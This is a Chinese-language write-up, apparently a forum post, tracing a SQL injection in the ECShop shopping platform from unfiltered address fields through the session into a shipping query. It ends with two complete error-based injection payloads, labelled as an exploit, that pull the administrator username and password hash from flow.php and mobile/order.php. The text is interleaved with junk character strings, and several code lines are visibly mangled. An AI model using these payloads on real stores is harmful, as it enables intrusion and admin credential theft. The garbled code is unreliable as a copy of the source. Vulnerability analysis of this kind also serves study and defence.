ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：

, P. x) N4 }+ Q6 w8 d    /includes/lib_order.php

8 `; Q" P! @( u0 U8 Z" H    关键函数：



; ~. P- {( V" w4 u01     function available_shipping_list($region_id_list)
5 R- l7 @# q9 U+ [' _, B( ^
02 {
8 p$ M# E0 J/ i6 I0 I3 c
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
/ i: u+ A, w$ {& w& D
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

* T7 s6 e, g# u# {06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
; O4 X' K' l9 O
' N9 d9 I: W( L0 P: b08             'WHERE r.region_id ' . db_create_in($region_id_list) .
# n6 x7 p& _: P: T6 T1 m
$ n! ^' w7 R0 x3 ]0 S: d09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

; ?! }+ y9 s% X9 b. h( F- G10   
/ P, t' U# y) i" W/ J2 J
11     return $GLOBALS['db']->getAll($sql);
2 J9 q8 z2 v- Y8 ]  G
12 }
: a6 q4 ~6 ?2 u% |$ q; H# |
显然对传入的参数没有任何过滤就带入了查询语句。

# J: l3 M7 f( x0 D% e3 q% Q) B下面我们追踪这个函数在flow.php中：
第531行：   
( ?6 Y* w! u0 l) {
1 $shipping_list     = available_shipping_list($region);
# q4 \8 J5 l: {$ z% u  g) L



+ E% F: t2 x: L! p: x& W. t
再对传入变量进行追踪：
& C/ Z3 b. D& ~" T
第530行：   

1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);




! }, m! Z4 K& m/ X- I
+ |: c/ x- f' H( x' x/ b第473行：        

1 $consignee = get_consignee($_SESSION['user_id']);
* q3 \- L: ~$ t
到了一个关键函数：

2 c; e$ d# g& [( W" D) t. W! F# L/includes/lib_order.php





01 function get_consignee($user_id)

' v( D; I  \8 i+ J9 {8 r' L02 {

03     if (isset($_SESSION['flow_consignee']))

! k) @  Z6 z6 _- s( |$ _" T04     {
# |" ~4 L2 j) K9 f
+ u1 o4 @0 V, b% U05         /* 如果存在session，则直接返回session中的收货人信息 */

06   
/ y! l8 w: A# p8 ^: t( m
* b; r8 e6 y3 F8 S07         return $_SESSION['flow_consignee'];

08     }

09     else
; f. W% J: h1 Q2 ^8 Z
& V8 ~4 t3 X9 p0 J/ B10     {
; p. w0 x( n1 Y* G* e% C
11         /* 如果不存在，则取得用户的默认收货人信息 */
7 h8 S: L" L/ q7 [: m
% `% R- Y+ n, e' a% I12         $arr = array();
- c# I% ]  }$ y
13   
1 C: [4 @4 W2 G+ m% ^
. i: v" H9 b1 d0 M9 b14         if ($user_id > 0)
5 w! X  z6 r  ~3 R+ v* r
$ U" y7 V" ^9 ]/ Y% C- n3 r& `9 H15         {
1 j/ D2 B% b6 v( K: f$ F
/ T' X* g! [+ x- _16             /* 取默认地址 */
3 n$ ~, e+ R2 O, i7 {5 b, B+ x, \
! X% R) \1 E. n& C) f2 U) _& D$ C17             $sql = "SELECT ua.*".

0 o+ u, S% [# s& V18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
, E( a2 r$ L2 N7 @1 t" A8 y, g4 J
4 {! [" s9 D0 T& P4 Q. p20   
  _. C$ j; {& Z0 ]
' l, g, w% N% [" D6 p! t& Q21             $arr = $GLOBALS['db']->getRow($sql);
1 X9 }( b% T6 D9 X& X4 D3 q
' f1 B7 I( u9 v- D2 n3 }' T22         }
" f7 s1 D# n: |) T( i7 j' w7 m
# Y4 P! ]) m0 M) t' l( x4 P+ o6 s23   

24         return $arr;
+ w( v; m  d3 l, c8 c: s/ p
5 |+ n6 u3 d; o6 P4 Z25     }

9 C2 K7 o& w! I0 b7 ~" c26 }

0 S4 n8 P" ?5 d7 _显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？



关键点:

! x8 w1 \  N; d1 E4 H! T- W/ Z. O第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。
" s3 k6 }; ^/ ]7 G
& b* f! Q# v' J" U  F+ m
* C7 f8 K. s) P) g% P9 F
然后看下：

- p) m9 u6 |; e0 E6 J) z

- l$ O4 d0 t# d7 F0 S: P   
( L0 Z1 l8 H! ?3 L/ j
01 $consignee = array(

02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
9 q2 `( N( C# f, @
1 Q9 C6 B, B2 k) U! L( K9 T! ~03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
( r- r- v3 a+ k8 c% H
+ H3 `+ F' x0 M7 U04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
5 I( U  P* d! q3 o
/ a, n! d7 A* M3 S' V! K05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
* f! |* D9 e& L1 Y
$ N+ |4 x$ o& g/ L) H06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
9 J7 N: L2 |1 ?4 f: u" W' R4 }  n
4 c% C2 [- m: [1 c5 {7 t' A08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

( m# q  _' X# e9 Q8 o: B& }09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

2 @2 T1 f2 T0 i10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
% j  A9 z- i- U
- Q3 c- N4 m, L1 l0 W7 ]11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

( g' l1 `! @  h6 ]  N! }$ X: A12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

) _& ^* ^- _8 e  K2 E5 ~13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
# {* ^, k9 `* Q. u% g
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );

好了注入就这样出现了。

* u8 K/ w# M' d6 ~==================

注入测试：
; E6 D( n" R  q' r9 ^8 @* j& p; b
' l6 Y2 w7 a8 [( l$ B环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

测试程序：ECShop_V2.7.3_UTF8_release1106



1.首先需要点击一个商品加入购物车
: J1 W4 q+ m7 _
* ~( Q, J  i0 w2.注册一个会员帐号

( u  H. h! Z8 a1 k) f3.post提交数据

! G# U6 C4 X6 H$ @8 A

; X& I& ]  m; E6 L1 http://127.0.0.1/ecshop/flow.php
5 v# P) D# I. U2 c# Q
2   

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
! I) }1 K* R: M6 |7 ]# Y
. g1 o% P) P  Z) S+ t) d我们搜寻关键函数function available_shipping_list()

! u/ Y& H4 c, z! ?; c2 N% @在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

利用exp:
  `: g; c2 y4 Y5 w# p0 J  c1 {
, Y; z* A, ^! W  V. }9 E  S1.点击一个商品，点击购买商标

+ ~  ]& K3 U/ v! |/ M2.登录会员帐号

& p0 [( C8 O5 r' I* X, J# |% T3.post提交：
0 j3 g9 ~8 H- g4 P
http://127.0.0.1/ecshop/mobile/order.php

: k5 \: L6 X9 {( w9 V

; t( x; U. [( Z$ k2 \# D3 jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
9 h. v9 N7 L( _) R& a" f